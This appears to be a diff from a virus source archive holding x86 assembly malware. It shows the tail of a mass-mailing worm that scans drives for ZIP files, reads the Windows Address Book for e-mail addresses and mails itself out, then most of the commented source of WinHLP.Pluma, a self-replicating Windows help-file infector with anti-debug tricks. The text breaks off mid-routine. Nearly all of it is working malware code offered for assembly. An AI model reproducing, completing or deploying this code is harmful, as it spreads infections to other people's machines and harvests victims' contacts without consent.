jnz __ret002
|
||||
|
||||
lea edi,wTemp
|
||||
mov al,'*'
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
sub edi,2
|
||||
|
||||
xor eax,eax
|
||||
stosw
|
||||
|
||||
invoke SetCurrentDirectory,addr wTemp
|
||||
lea esi,wfd.cFileName
|
||||
|
||||
pushad
|
||||
call zipappend
|
||||
popad
|
||||
|
||||
lea edi,wTemp
|
||||
xor al,al
|
||||
xor ecx,ecx
|
||||
not ecx
|
||||
repnz scasb
|
||||
sub edi,2
|
||||
|
||||
mov ax,'*\'
|
||||
stosw
|
||||
|
||||
.endif
|
||||
|
||||
.endif
|
||||
jmp zerowfd
|
||||
__ret002:
|
||||
invoke FindNextFile,hFind,addr wfd
|
||||
mov ebx,eax
|
||||
.endw
|
||||
|
||||
invoke FindClose,hFind
|
||||
NoFiles:
|
||||
ret
|
||||
;###########################
|
||||
zerodir:
|
||||
xor al,al
|
||||
lea edi,wTemp
|
||||
mov ecx,260
|
||||
rep stosb
|
||||
jmp __ret001
|
||||
zerowfd:
|
||||
xor al,al
|
||||
lea edi,wfd.cFileName
|
||||
mov ecx,256
|
||||
rep stosb
|
||||
jmp __ret002
|
||||
|
||||
SearchZIP ENDP
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; EncodeBase64: Encodes data into MIME format
|
||||
encodebase64: ; encodeBase64: Proper credit goez out to BumbleBee. I struggled with making
|
||||
; my own MIME encoder so I ripped one.. :) Thanks alot Bumblebee!!
|
||||
; input:
|
||||
; EAX = Address of data to encode
|
||||
; EDX = Address to put encoded data
|
||||
; ECX = Size of data to encode
|
||||
; output:
|
||||
; ECX = size of encoded data
|
||||
;
|
||||
xor esi,esi
|
||||
call over_enc_table
|
||||
db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||
db "abcdefghijklmnopqrstuvwxyz"
|
||||
db "0123456789+/"
|
||||
over_enc_table:
|
||||
pop edi
|
||||
push ebp
|
||||
xor ebp,ebp
|
||||
baseLoop:
|
||||
movzx ebx,byte ptr [eax]
|
||||
shr bl,2
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
mov bx,word ptr [eax]
|
||||
xchg bl,bh
|
||||
shr bx,4
|
||||
mov bh,0
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
inc eax
|
||||
mov bx,word ptr [eax]
|
||||
xchg bl,bh
|
||||
shr bx,6
|
||||
xor bh,bh
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
|
||||
inc eax
|
||||
xor ebx,ebx
|
||||
movzx ebx,byte ptr [eax]
|
||||
and bl,00111111b
|
||||
mov bh,byte ptr [edi+ebx]
|
||||
mov byte ptr [edx+esi],bh
|
||||
inc esi
|
||||
inc eax
|
||||
|
||||
inc ebp
|
||||
cmp ebp,24
|
||||
jna DontAddEndOfLine
|
||||
|
||||
xor ebp,ebp ; add a new line
|
||||
mov word ptr [edx+esi],0A0Dh
|
||||
inc esi
|
||||
inc esi
|
||||
test al,00h ; Optimized (overlap rlz!)
|
||||
org $-1
|
||||
DontAddEndOfLine:
|
||||
inc ebp
|
||||
sub ecx,3
|
||||
or ecx,ecx
|
||||
jne baseLoop
|
||||
|
||||
mov ecx,esi
|
||||
add edx,esi
|
||||
pop ebp
|
||||
ret
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Locates addresses inside the default WAB file
|
||||
WABFindAddies PROC
|
||||
jmp @F
|
||||
mappedFile dd 0
|
||||
mapHandle dd 0
|
||||
fileHandle dd 0
|
||||
addrbuf db 256 dup (?)
|
||||
@@:
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
phkWABKey dd 0
|
||||
@@:
|
||||
push KEY_ALL_ACCESS
|
||||
push eax
|
||||
call @F
|
||||
db "Software\Microsoft\WAB\WAB4\Wab File Name",0
|
||||
@@:
|
||||
push HKEY_CURRENT_USER
|
||||
call RegOpenKeyEx
|
||||
|
||||
xor eax,eax
|
||||
call @F
|
||||
dd 0000007Fh
|
||||
@@:
|
||||
push offset wabfile
|
||||
push eax
|
||||
push eax
|
||||
push eax ; null for (default)
|
||||
push dword ptr [phkWABKey]
|
||||
call RegQueryValueEx
|
||||
push dword ptr [phkWABKey]
|
||||
call RegCloseKey
|
||||
|
||||
push 0
|
||||
push 0
|
||||
push 3
|
||||
push 0
|
||||
push 1
|
||||
push 80000000h
|
||||
call @F
|
||||
wabfile db 128 dup (?)
|
||||
@@:
|
||||
call CreateFile
|
||||
|
||||
mov fileHandle,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
|
||||
push 0
|
||||
push ebx
|
||||
call GetFileSize
|
||||
mov esi,eax
|
||||
|
||||
push 0
|
||||
push esi
|
||||
push 0
|
||||
push PAGE_READONLY
|
||||
push 0
|
||||
push ebx
|
||||
call CreateFileMapping
|
||||
mov mapHandle,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
|
||||
push esi
|
||||
push 0
|
||||
push 0
|
||||
push FILE_MAP_READ
|
||||
push ebx
|
||||
call MapViewOfFile
|
||||
mov mappedFile,eax
|
||||
xchg eax,ebx
|
||||
|
||||
or ebx,ebx
|
||||
jz leavewab
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Find the addresses
|
||||
; EBX=Base address
|
||||
mov esi,ebx
|
||||
mov ecx,[esi+64h] ; number of addies
|
||||
add esi,[esi+60h] ; points to first address
|
||||
looperz:
|
||||
push esi
|
||||
lea edi,Recipient
|
||||
push edi
|
||||
lop:
|
||||
lodsw
|
||||
stosb
|
||||
or al,al
|
||||
jnz lop
|
||||
pop ebx
|
||||
|
||||
sub edi,ebx
|
||||
mov sizeRecip,EDI
|
||||
|
||||
pop esi
|
||||
add esi,044h
|
||||
|
||||
PUSHAD
|
||||
CALL SendWorm ; send the worm out!
|
||||
POPAD
|
||||
|
||||
push ecx
|
||||
lea edi,Recipient
|
||||
xor al,al
|
||||
mov ecx,256
|
||||
rep stosb
|
||||
pop ecx
|
||||
|
||||
dec ecx
|
||||
jecxz leavewab
|
||||
jmp looperz
|
||||
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
leavewab:
|
||||
invoke UnmapViewOfFile,mappedFile
|
||||
invoke CloseHandle,mapHandle
|
||||
invoke CloseHandle,fileHandle
|
||||
|
||||
ret
|
||||
WABFindAddies ENDP
|
||||
;þÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅÅ
|
||||
; Thread procedures
|
||||
thread1 proc
|
||||
mov al,'c'
|
||||
lea edi,fr
|
||||
stosb
|
||||
mov ax,'\:'
|
||||
stosw
|
||||
sub edi,3
|
||||
isdriveok:
|
||||
push edi
|
||||
call GetDriveType
|
||||
cmp al,03h
|
||||
jnz nextdrive
|
||||
|
||||
mov byte ptr [edi+2],00h
|
||||
|
||||
jmp SearchZIP ; we dont even need a ret!
|
||||
|
||||
nextdrive:
|
||||
cmp al,"z"
|
||||
jz enddrive
|
||||
inc byte ptr [edi]
|
||||
jmp isdriveok
|
||||
enddrive:
|
||||
ret
|
||||
thread1 endp
|
||||
|
||||
thread2 proc
|
||||
pop eax ; dont need param
|
||||
mov [esp],eax
|
||||
call WABFindAddies
|
||||
xor eax,eax
|
||||
ret
|
||||
thread2 endp
|
||||
end start
|
792
Win32/WinHLP.Pluma.txt
Normal file
792
Win32/WinHLP.Pluma.txt
Normal file
@ -0,0 +1,792 @@
|
||||
|
||||
;
|
||||
; AYUDA! coded by Bumblebee/29a
|
||||
; the generic HLP infector (tm)
|
||||
;
|
||||
; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp
|
||||
; files this is the source you're looking for ;)
|
||||
; But keep in mind that AYUDA is not equal to tutorial!
|
||||
;
|
||||
; Disclaimer:
|
||||
;
|
||||
; . This is the source code of a VIRUS. The author is not
|
||||
; responsabile of any damage that may occur due to the assembly
|
||||
; of this file. Pontius Pilate is washing his hands ;)
|
||||
;
|
||||
; Features:
|
||||
;
|
||||
; . Takes control directly from the hlp file using macros and the
|
||||
; EnumWindows function. The virus body is stored in the call.
|
||||
; . Searches for the required APIs using CRCs instead of names.
|
||||
; . Uses SEH.
|
||||
; . Infects hlp files adding a EnumWindows call in the system file
|
||||
; and plazing this new system at the end of file.
|
||||
; . Uses size padding as infection sign.
|
||||
;
|
||||
; Hlp infection brief:
|
||||
;
|
||||
; . The hlp infection is so easy. First you must understand the
|
||||
; internal format of hlp files: is like a pakaged file system.
|
||||
; Yeah! There are directories, files and so. Once you have this
|
||||
; part there is another point you must take into account: how to
|
||||
; give control to the virus. The solution that AYUDA exploits is
|
||||
; that WinHlp32 let us say the kind of parameters an imported API
|
||||
; will use. So if you look for any function with callback features
|
||||
; (all the enum functions), you can change the parameter that uses
|
||||
; the address of code to be executed by a string. An this string
|
||||
; will be the virus code. WinHlp32 allocates memory for the string
|
||||
; (a string is a pointer to a vector of chars) and passes that
|
||||
; address to the enum function. Once you have the control you must
|
||||
; execute the code... and that's all? NOPE! Your virus code MUST
|
||||
; be a string! So you need to change the code to fit in the string
|
||||
; required by WinHlp32. At this case i've encoded the virus in a
|
||||
; way that allows to change the code to make WinHlp32 happy and
|
||||
; later restore it for normal execution. The virus generates some
|
||||
; code that pushes the entire virus into the stack. This code it's
|
||||
; ok for WinHlp32 (avoids on its body some characters) and when
|
||||
; executes restores the whole virus into the stack and the jumps
|
||||
; there, does its work, fixes the stack and returns ending the
|
||||
; callback process.
|
||||
; I think that with this little explanation and the full commented
|
||||
; source you'll be able to understand this kind of infection.
|
||||
;
|
||||
; Excuse my english!
|
||||
;
|
||||
; The way of the bee
|
||||
;
|
||||
;
|
||||
; Description from:
|
||||
; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002
|
||||
; from AVP.
|
||||
;
|
||||
; WinHLP.Pluma
|
||||
;
|
||||
;
|
||||
; This is Windows32 HLP files infector, it does function and replicate as
|
||||
; a Windows Help script embedded in help file structure. See also WinHLP.Demo
|
||||
; and Win95.SK".
|
||||
;
|
||||
; When infected HLP file is opened, the Windows Help system processes virus
|
||||
; script and executes all functions placed there. By using a trick the virus
|
||||
; forces Help system to execute a specially prepared data as binary Windows32
|
||||
; program, these data are included in one of instructions in the virus
|
||||
; script. These data themselves are the "start-up" routine that builds the
|
||||
; main infection routine and executes it. The infection routine is a valid
|
||||
; Windows32 procedure, and it is executed as a Windows32 application.
|
||||
;
|
||||
; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL
|
||||
; image loaded in Windows memory) in usual for Win32 executable files
|
||||
; parasitic infectors, and gets addresses of necessary Windows functions
|
||||
; from there. The infection routine then looks for all Windows Help files in
|
||||
; the current directory, and infects them all.
|
||||
;
|
||||
; While infecting the virus modifies internal HLP file structure, adds its
|
||||
; script to the "SYSTEM" area, converts its code to start-up routine and
|
||||
; includes it into the script.
|
||||
;
|
||||
; The virus does not manifest itself in any way. It contains the text
|
||||
; strings:
|
||||
;
|
||||
; < AYUDA! Coded by Bumblebee/29a >
|
||||
; Cumpliendo con mi oficio
|
||||
; piedra con piedra, pluma a pluma,
|
||||
; pasa el invierno y deja
|
||||
; sitios abandonados
|
||||
; habitaciones muertas:
|
||||
; yo trabajo y trabajo,
|
||||
; debo substituir tantos olvidos,
|
||||
; llenar de pan las tinieblas,
|
||||
; fundar otra vez la esperanza.
|
||||
;
|
||||
;
|
||||
|
||||
.486p
|
||||
.model flat
|
||||
locals
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
|
||||
HLPHEADER struc
|
||||
hhMagic dd ?
|
||||
hhDirectoryStart dd ?
|
||||
hhNonDirectoryStart dd ?
|
||||
hhEntireFileSize dd ?
|
||||
HLPHEADER ends
|
||||
|
||||
HLPFILEHEADER struc
|
||||
fhReservedSpace dd ?
|
||||
fhUsedSpace dd ?
|
||||
fhFileFlags db ?
|
||||
HLPFILEHEADER ends
|
||||
|
||||
BTREEHEADER struct
|
||||
bthMagic dw ?
|
||||
bthFlags dw ?
|
||||
bthPageSize dw ?
|
||||
bthStructure db 10h dup(?)
|
||||
bthMustBeZero dw ?
|
||||
bthPageSplits dw ?
|
||||
bthRootPage dw ?
|
||||
bthMustBeNegOne dw ?
|
||||
bthTotalPages dw ?
|
||||
bthNLeves dw ?
|
||||
bthTotalEntries dd ?
|
||||
BTREEHEADER ends
|
||||
|
||||
; from BC++ Win32 API on-line Reference
|
||||
WIN32_FIND_DATA struc
|
||||
dwFileAttributes dd 0
|
||||
dwLowDateTime0 dd ? ; creation
|
||||
dwHigDateTime0 dd ?
|
||||
dwLowDateTime1 dd ? ; last access
|
||||
dwHigDateTime1 dd ?
|
||||
dwLowDateTime2 dd ? ; last write
|
||||
dwHigDateTime2 dd ?
|
||||
nFileSizeHigh dd ?
|
||||
nFileSizeLow dd ?
|
||||
dwReserved dd 0,0
|
||||
cFileName db 260 dup(0)
|
||||
cAlternateFilename db 14 dup(0)
|
||||
db 2 dup(0)
|
||||
WIN32_FIND_DATA ends
|
||||
|
||||
K32WIN9X equ 0bff70000h ; Windows 95/98
|
||||
vSize equ vEnd-vBegin ; size of the baby
|
||||
PADDING equ 7 ; infection sign
|
||||
|
||||
.DATA
|
||||
|
||||
dummy db 'WARNING - This is a virus laucher - WARNING'
|
||||
|
||||
.CODE
|
||||
|
||||
inicio:
|
||||
push eax ; simulate the callback for
|
||||
push eax ; 1st generation
|
||||
push offset goOut
|
||||
sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;)
|
||||
jmp virusBegin
|
||||
|
||||
goOut:
|
||||
push 0h
|
||||
call ExitProcess
|
||||
|
||||
vBegin label byte
|
||||
virusBegin:
|
||||
|
||||
pushad ; save all regs
|
||||
|
||||
call delta ; get delta offset
|
||||
delta:
|
||||
pop ebp
|
||||
sub ebp,offset delta
|
||||
|
||||
lea eax,dword ptr [esp-8h] ; setup SEH
|
||||
xor edi,edi
|
||||
xchg eax,dword ptr fs:[edi]
|
||||
lea edi,exception+ebp
|
||||
push edi
|
||||
push eax
|
||||
|
||||
mov esi,K32WIN9X ; fixed addr of the K32
|
||||
cmp word ptr [esi],'ZM' ; K32! are you there?
|
||||
jne quitSEH
|
||||
|
||||
; little anti-debug trick
|
||||
xor edi,edi
|
||||
add esi,dword ptr fs:[edi+20h]
|
||||
|
||||
; Get APIs stuff with CRC32 instead of names...
|
||||
mov esi,dword ptr [esi+3ch]
|
||||
add esi,K32WIN9X
|
||||
mov esi,dword ptr [esi+78h]
|
||||
add esi,K32WIN9X
|
||||
add esi,1ch
|
||||
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [address+ebp],eax
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [names+ebp],eax
|
||||
lodsd
|
||||
add eax,K32WIN9X
|
||||
mov dword ptr [ordinals+ebp],eax
|
||||
|
||||
sub esi,16
|
||||
lodsd
|
||||
mov dword ptr [nexports+ebp],eax
|
||||
|
||||
xor edx,edx
|
||||
mov dword ptr [expcount+ebp],edx
|
||||
lea eax,FSTAPI+ebp
|
||||
|
||||
searchl:
|
||||
mov esi,dword ptr [names+ebp]
|
||||
add esi,edx
|
||||
mov esi,dword ptr [esi]
|
||||
add esi,K32WIN9X
|
||||
push eax edx
|
||||
movzx di,byte ptr [eax+4]
|
||||
call CRC32
|
||||
xchg ebx,eax
|
||||
pop edx eax
|
||||
cmp ebx,dword ptr [eax]
|
||||
je fFound
|
||||
add edx,4
|
||||
inc dword ptr [expcount+ebp]
|
||||
push edx
|
||||
mov edx,dword ptr [expcount+ebp]
|
||||
cmp dword ptr [nexports+ebp],edx
|
||||
pop edx
|
||||
je quitSEH
|
||||
jmp searchl
|
||||
fFound:
|
||||
shr edx,1
|
||||
add edx,dword ptr [ordinals+ebp]
|
||||
xor ebx,ebx
|
||||
mov bx,word ptr [edx]
|
||||
shl ebx,2
|
||||
add ebx,dword ptr [address+ebp]
|
||||
mov ecx,dword ptr [ebx]
|
||||
add ecx,K32WIN9X
|
||||
|
||||
mov dword ptr [eax+5],ecx
|
||||
add eax,9
|
||||
xor edx,edx
|
||||
mov dword ptr [expcount+ebp],edx
|
||||
lea ecx,ENDAPI+ebp
|
||||
cmp eax,ecx
|
||||
jb searchl
|
||||
|
||||
; infect all the hlp files in current directory
|
||||
lea esi,find_data+ebp
|
||||
push esi
|
||||
lea esi,hlpMask+ebp
|
||||
push esi
|
||||
call dword ptr [_FindFirstFileA+ebp]
|
||||
inc eax
|
||||
jz quitSEH
|
||||
dec eax
|
||||
|
||||
mov dword ptr [findHnd+ebp],eax
|
||||
|
||||
findNext:
|
||||
mov eax,dword ptr [find_data.nFileSizeLow+ebp]
|
||||
mov ecx,PADDING ; test if it's infected
|
||||
xor edx,edx ; yet
|
||||
div ecx
|
||||
or edx,edx ; reminder is zero?
|
||||
jz skipThisFile
|
||||
|
||||
lea esi,find_data.cFileName+ebp
|
||||
call infect
|
||||
|
||||
skipThisFile:
|
||||
lea esi,find_data+ebp
|
||||
push esi
|
||||
push dword ptr [findHnd+ebp]
|
||||
call dword ptr [_FindNextFileA+ebp] ; Find next file
|
||||
or eax,eax
|
||||
jnz findNext
|
||||
|
||||
push dword ptr [findHnd+ebp]
|
||||
call dword ptr [_FindClose+ebp] ; close find handle
|
||||
|
||||
quitSEH:
|
||||
xor esi,esi ; quit SEH
|
||||
pop dword ptr fs:[esi]
|
||||
pop eax
|
||||
|
||||
popad
|
||||
add esp,((vSize/2)+1)*2 ; fix stack
|
||||
xor eax,eax ; return FALSE
|
||||
ret 8 ; pop the args of the call
|
||||
; (are two: 2*4=8 bytes)
|
||||
|
||||
exception:
|
||||
xor esi,esi ; we are not under
|
||||
mov eax,dword ptr fs:[esi] ; win9x... a pitty
|
||||
mov esp,dword ptr [eax]
|
||||
jmp quitSEH
|
||||
|
||||
;
|
||||
; does the hlp infection
|
||||
; IN: esi addr of file name
|
||||
;
|
||||
infect:
|
||||
xor eax,eax
|
||||
push eax
|
||||
push 80h
|
||||
push 3h
|
||||
push eax
|
||||
push eax
|
||||
push 80000000h OR 40000000h
|
||||
push esi
|
||||
call dword ptr [_CreateFileA+ebp]
|
||||
inc eax
|
||||
jz errorOut
|
||||
dec eax
|
||||
|
||||
mov dword ptr [fHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 4h
|
||||
push eax
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CreateFileMappingA+ebp]
|
||||
or eax,eax
|
||||
jc errorOutClose
|
||||
|
||||
mov dword ptr [mfHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push eax
|
||||
push eax
|
||||
push 00000004h OR 00000002h
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_MapViewOfFile+ebp]
|
||||
or eax,eax
|
||||
jz errorOutCloseMap
|
||||
|
||||
; here begins the hlp infection stuff
|
||||
|
||||
; save begin of hlp header
|
||||
mov edi,eax
|
||||
|
||||
; check is a valid HLP file
|
||||
cmp dword ptr [edi.hhMagic],00035f3fh
|
||||
jne notNiceHlp
|
||||
|
||||
; get file size information in the header (not the same than
|
||||
; 'file in disk' size)
|
||||
mov ecx,dword ptr [eax.hhEntireFileSize]
|
||||
mov dword ptr [fileSize+ebp],ecx
|
||||
|
||||
; goto directory start
|
||||
add edi,dword ptr [edi.hhDirectoryStart]
|
||||
add edi,size HLPFILEHEADER
|
||||
; check is a valid directory
|
||||
cmp word ptr [edi],293bh
|
||||
jne notNiceHlp
|
||||
; i don't want indexed data, so only one level b-trees
|
||||
; are nice for me ;)
|
||||
cmp word ptr [edi.bthNLeves],1
|
||||
jne notNiceHlp
|
||||
|
||||
; scan for |SYSTEM directory.
|
||||
; search 512 bytes into the b-tree and ignore the internal
|
||||
; structures of b-tree.
|
||||
add edi,size BTREEHEADER
|
||||
mov ecx,200h
|
||||
|
||||
searchSystemDir:
|
||||
cmp dword ptr [edi],'SYS|'
|
||||
je foundSystemDir
|
||||
inc edi
|
||||
loop searchSystemDir
|
||||
jmp notNiceHlp
|
||||
|
||||
foundSystemDir:
|
||||
; as i only infect non-indexed hlp files, i'm sure the
|
||||
; data that follows the |SYSTEM zstring is the offset of
|
||||
; the directory. 1st skip the zstring
|
||||
add edi,8
|
||||
; now goto to the directory (offset from hlp header)
|
||||
; and set the new system directory at the end of file
|
||||
mov esi,dword ptr [fileSize+ebp]
|
||||
xchg esi,dword ptr [edi]
|
||||
mov edi,esi
|
||||
add edi,eax
|
||||
|
||||
; save begin of this file
|
||||
mov edx,edi
|
||||
add edi,size HLPFILEHEADER
|
||||
|
||||
; check is a system directory
|
||||
cmp word ptr [edi],036ch
|
||||
jne notNiceHlp
|
||||
|
||||
; check version
|
||||
mov esi,edi
|
||||
add esi,0ch
|
||||
cmp word ptr [edi+2],10h
|
||||
ja noTitleHere
|
||||
|
||||
; if has title, skip it (version <= 16)
|
||||
skipTitle:
|
||||
inc esi
|
||||
cmp byte ptr [esi-1],0
|
||||
je skipTitle
|
||||
noTitleHere:
|
||||
mov edi,esi
|
||||
|
||||
; get size of the directory
|
||||
mov esi,dword ptr [edx]
|
||||
|
||||
; the max size of the macro, just an aproximation
|
||||
add esi,((vSize/2)*10)+1000h
|
||||
|
||||
; alloc a temporary buffer
|
||||
pushad
|
||||
push 00000004h
|
||||
push 00001000h
|
||||
push esi
|
||||
push 0
|
||||
call dword ptr [_VirtualAlloc+ebp]
|
||||
or eax,eax
|
||||
jne bufferOk
|
||||
popad
|
||||
jmp notNiceHlp
|
||||
|
||||
bufferOk:
|
||||
mov dword ptr [mHnd+ebp],eax
|
||||
popad
|
||||
|
||||
; copy system directory plus our macro to the buffer
|
||||
|
||||
; 1st old system
|
||||
mov edi,dword ptr [mHnd+ebp]
|
||||
mov esi,edx
|
||||
mov ecx,dword ptr [edx]
|
||||
rep movsb
|
||||
|
||||
; begin 'our macro' generation
|
||||
; save mapped file handle
|
||||
push eax
|
||||
; save begin of our macros
|
||||
push edi
|
||||
lea esi,hlpMacro0+ebp
|
||||
mov ecx,hlpMacroSize0
|
||||
rep movsb
|
||||
|
||||
; generate the macro 'virus body' ;)
|
||||
; it sholud be more simple but... hehe
|
||||
lea ecx,vBegin+ebp
|
||||
lea esi,vEnd+ebp
|
||||
dec ecx
|
||||
dec esi
|
||||
getNext:
|
||||
cmp byte ptr [esi],0 ; those chars must be
|
||||
je fix ; changed 'cause they have
|
||||
cmp byte ptr [esi],22h ; a sentimental value
|
||||
je fix ; for winhlp32 in macroz
|
||||
cmp byte ptr [esi],27h
|
||||
je fix
|
||||
cmp byte ptr [esi],5ch
|
||||
je fix
|
||||
cmp byte ptr [esi],60h
|
||||
je fix
|
||||
mov al,0b4h
|
||||
mov ah,byte ptr [esi]
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDoneFix
|
||||
getNextInPair:
|
||||
cmp byte ptr [esi],0
|
||||
je fix2
|
||||
cmp byte ptr [esi],22h
|
||||
je fix2
|
||||
cmp byte ptr [esi],27h
|
||||
je fix2
|
||||
cmp byte ptr [esi],5ch
|
||||
je fix2
|
||||
cmp byte ptr [esi],60h
|
||||
je fix2
|
||||
mov al,0b0h
|
||||
mov ah,byte ptr [esi]
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDone
|
||||
jmp getNext
|
||||
fix:
|
||||
mov al,0b4h
|
||||
mov ah,byte ptr [esi]
|
||||
dec ah
|
||||
stosw
|
||||
mov ax,0c4feh
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDoneFix
|
||||
jmp getNextInPair
|
||||
fix2:
|
||||
mov al,0b0h
|
||||
mov ah,byte ptr [esi]
|
||||
dec ah
|
||||
stosw
|
||||
mov ax,0c0feh
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
dec esi
|
||||
cmp esi,ecx
|
||||
je macroDone
|
||||
jmp getNext
|
||||
|
||||
macroDoneFix:
|
||||
mov al,0b0h
|
||||
mov ah,90h
|
||||
stosw
|
||||
mov ax,5066h
|
||||
stosw
|
||||
|
||||
macroDone:
|
||||
; end the macro
|
||||
lea esi,hlpMacro1+ebp
|
||||
mov ecx,hlpMacroSize1
|
||||
rep movsb
|
||||
|
||||
; fix the macro size
|
||||
pop esi ; get begin of macros
|
||||
mov ecx,edi ; end of macros
|
||||
sub ecx,esi ; size of macros
|
||||
sub ecx,offset macro1-hlpMacro
|
||||
; sub size of 1st macro and
|
||||
; and the header of 2nd
|
||||
mov word ptr [esi+offset macroSize-hlpMacro],cx
|
||||
; store it! (at its offset)
|
||||
pop eax
|
||||
|
||||
; into edi the size of the new system
|
||||
sub edi,dword ptr [mHnd+ebp]
|
||||
mov dword ptr [systemSize+ebp],edi
|
||||
|
||||
; fix directory size plus header
|
||||
mov edx,dword ptr [mHnd+ebp]
|
||||
mov dword ptr [edx],edi
|
||||
; fix directory size
|
||||
push edi
|
||||
sub edi,size HLPFILEHEADER
|
||||
mov dword ptr [edx+4],edi
|
||||
pop edi
|
||||
|
||||
; increase hlp file size
|
||||
add dword ptr [eax.hhEntireFileSize],edi
|
||||
; and save
|
||||
push dword ptr [eax.hhEntireFileSize]
|
||||
|
||||
push eax
|
||||
call dword ptr [_UnmapViewOfFile+ebp]
|
||||
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
; get new hlp file size
|
||||
pop eax
|
||||
; calculate size with padding
|
||||
mov ecx,PADDING
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
xor edx,edx
|
||||
mul ecx
|
||||
mov dword ptr [padSize+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push eax
|
||||
push dword ptr [padSize+ebp]
|
||||
push eax
|
||||
push 4h
|
||||
push eax
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CreateFileMappingA+ebp]
|
||||
or eax,eax
|
||||
jc errorOutClose
|
||||
|
||||
mov dword ptr [mfHnd+ebp],eax
|
||||
|
||||
xor eax,eax
|
||||
push dword ptr [padSize+ebp]
|
||||
push eax
|
||||
push eax
|
||||
push 00000004h OR 00000002h
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_MapViewOfFile+ebp]
|
||||
or eax,eax
|
||||
jz errorOutCloseMap
|
||||
|
||||
; add the modified system directory
|
||||
mov edi,eax
|
||||
add edi,dword ptr [fileSize+ebp]
|
||||
mov esi,dword ptr [mHnd+ebp]
|
||||
mov ecx,dword ptr [systemSize+ebp]
|
||||
rep movsb
|
||||
|
||||
push eax
|
||||
push 00008000h
|
||||
push 0h
|
||||
push dword ptr [mHnd+ebp]
|
||||
call dword ptr [_VirtualFree+ebp]
|
||||
pop eax
|
||||
|
||||
notNiceHlp:
|
||||
push eax
|
||||
call dword ptr [_UnmapViewOfFile+ebp]
|
||||
|
||||
errorOutCloseMap:
|
||||
push dword ptr [mfHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
errorOutClose:
|
||||
push dword ptr [fHnd+ebp]
|
||||
call dword ptr [_CloseHandle+ebp]
|
||||
|
||||
errorOut:
|
||||
ret
|
||||
|
||||
;
|
||||
; CRC32
|
||||
;
|
||||
; IN: esi offset of data to do CRC32
|
||||
; edi size to do CRC32
|
||||
;
|
||||
; OUT:
|
||||
; eax CRC32
|
||||
;
|
||||
; Original routine by Vecna. Gracias!
|
||||
; This is one of these piezes of code that became essential to
|
||||
; the virus coder.
|
||||
;
|
||||
CRC32:
|
||||
cld
|
||||
xor ecx,ecx
|
||||
dec ecx
|
||||
mov edx,ecx
|
||||
push ebx
|
||||
NextByteCRC:
|
||||
xor eax,eax
|
||||
xor ebx,ebx
|
||||
lodsb
|
||||
xor al,cl
|
||||
mov cl,ch
|
||||
mov ch,dl
|
||||
mov dl,dh
|
||||
mov dh,8
|
||||
NextBitCRC:
|
||||
shr bx,1
|
||||
